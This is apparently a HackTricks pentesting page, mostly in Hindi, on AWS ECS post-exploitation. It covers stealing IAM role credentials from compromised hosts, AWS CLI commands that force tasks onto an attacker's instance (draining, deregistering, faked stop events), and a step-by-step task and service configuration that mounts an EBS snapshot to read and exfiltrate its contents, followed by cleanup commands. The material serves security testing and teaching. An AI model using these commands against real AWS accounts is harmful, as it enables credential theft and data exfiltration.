# AWS - ECS Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## ECS For more information check: {{#ref}} ../../aws-services/aws-ecs-enum.md {{#endref}} ### Host IAM Roles ECS में container के अंदर चलने वाली task को **IAM role** असाइन किया जा सकता है। **If** task किसी **EC2** instance के अंदर चल रही है, तो उस **EC2 instance** के साथ **another IAM** role जुड़ा होगा.\ इसका मतलब यह है कि अगर आप किसी ECS instance को **compromise** कर लेते हैं तो आप संभावित रूप से **obtain the IAM role associated to the ECR and to the EC2 instance** कर सकते हैं। उन credentials को कैसे प्राप्त करें, इसके लिए देखें: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} > [!CAUTION] > Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance. ### Privesc to node to steal other containers creds & secrets इसके अलावा, EC2 docker का उपयोग करके ECS tasks चलाता है, इसलिए अगर आप node तक escape कर पाते हैं या **docker socket** तक **access** कर लेते हैं, तो आप देख सकते हैं कि कौन से **other containers** चल रहे हैं, और उनमें **get inside** करके उनके जुड़े हुए **IAM roles** भी **steal** कर सकते हैं। #### Making containers run in current host फिर भी, आमतौर पर **EC2 instance role** के पास cluster के अंदर nodes के रूप में उपयोग होने वाले EC2 instances के **container instance state** को **update** करने के लिए पर्याप्त **permissions** होते हैं। एक attacker किसी instance की **state को DRAINING** में बदल सकता है, तब ECS उस instance से **सभी tasks को remove** कर देगा और जो tasks **REPLICA** के रूप में चल रहे हैं वे किसी अलग instance में **run** होंगे, संभवतः attacker के instance में, ताकि वह उनके **IAM roles** और container के अंदर मौजूद संभावित संवेदनशील जानकारी **steal** कर सके। ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances ``` उसी तकनीक को **deregistering the EC2 instance from the cluster** करके किया जा सकता है। यह संभावित रूप से कम stealthy होगा लेकिन यह **tasks को अन्य instances पर चलने के लिए मजबूर कर देगा:** ```bash aws ecs deregister-container-instance \ --cluster --container-instance --force ``` टास्क्स को पुनः निष्पादन के लिए मजबूर करने की एक अंतिम तकनीक यह है कि ECS को सूचित किया जाए कि **task or container was stopped**। इसके लिए 3 संभावित APIs हैं: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ --status STOPPED --reason "anything" --containers [...] # Needs: ecs:SubmitContainerStateChange aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` ### ECR containers से संवेदनशील जानकारी चुराएँ EC2 instance के पास सम्भवतः `ecr:GetAuthorizationToken` permission भी होगा, जो इसे **इमेज डाउनलोड करने** की अनुमति देता है (आप उनमें संवेदनशील जानकारी खोज सकते हैं)। ### EBS snapshot को सीधे एक ECS task में mount करें (configuredAtLaunch + volumeConfigurations) मौजूदा EBS snapshot की सामग्री को सीधे एक नए ECS task/service के अंदर mount करने और container के अंदर से इसके डेटा को पढ़ने के लिए native ECS EBS integration (2024+) का दुरुपयोग करें। - आवश्यकताएँ (कम से कम): - ecs:RegisterTaskDefinition - One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService - iam:PassRole निम्न पर: - वॉल्यूम्स के लिए उपयोग किया गया ECS infrastructure role (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) - Task execution/Task roles जिन्हें task definition में refer किया गया है - यदि snapshot CMK से encrypted है: infra role के लिए KMS permissions चाहिए (ऊपर दिया गया AWS managed policy AWS managed keys के लिए आवश्यक KMS grants शामिल करता है)। - प्रभाव: container के अंदर snapshot से arbitrary disk contents (जैसे database files) पढ़ना और network/logs के माध्यम से exfiltrate करना। Steps (Fargate example): 1) ECS infrastructure role बनाएँ (यदि मौजूद नहीं है) और managed policy attach करें: ```bash aws iam create-role --role-name ecsInfrastructureRole \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}' aws iam attach-role-policy --role-name ecsInfrastructureRole \ --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes ``` 2) एक task definition रजिस्टर करें जिसमें एक volume `configuredAtLaunch` के रूप में चिह्नित हो और उसे container में माउंट करें। उदाहरण (secret प्रिंट करने के बाद sleep करता है): ```json { "family": "ht-ebs-read", "networkMode": "awsvpc", "requiresCompatibilities": ["FARGATE"], "cpu": "256", "memory": "512", "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", "containerDefinitions": [ {"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", "entryPoint":["/bin/sh","-c"], "command":["cat /loot/secret.txt || true; sleep 3600"], "logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}}, "mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}] } ], "volumes": [ {"name":"loot", "configuredAtLaunch": true} ] } ``` 3) एक सर्विस बनाएं या अपडेट करें जो EBS snapshot को `volumeConfigurations.managedEBSVolume` के माध्यम से पास करे (iam:PassRole की आवश्यकता infra role पर)। उदाहरण: ```json { "cluster": "ht-ecs-ebs", "serviceName": "ht-ebs-svc", "taskDefinition": "ht-ebs-read", "desiredCount": 1, "launchType": "FARGATE", "networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}}, "volumeConfigurations": [ {"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam:::role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}} ] } ``` 4) जब task शुरू होता है, container configured mount path पर snapshot की सामग्री (उदा., `/loot`) पढ़ सकता है। Exfiltrate task के network/logs के माध्यम से। सफाई: ```bash aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0 aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force aws ecs deregister-task-definition ht-ebs-read ``` {{#include ../../../../banners/hacktricks-training.md}}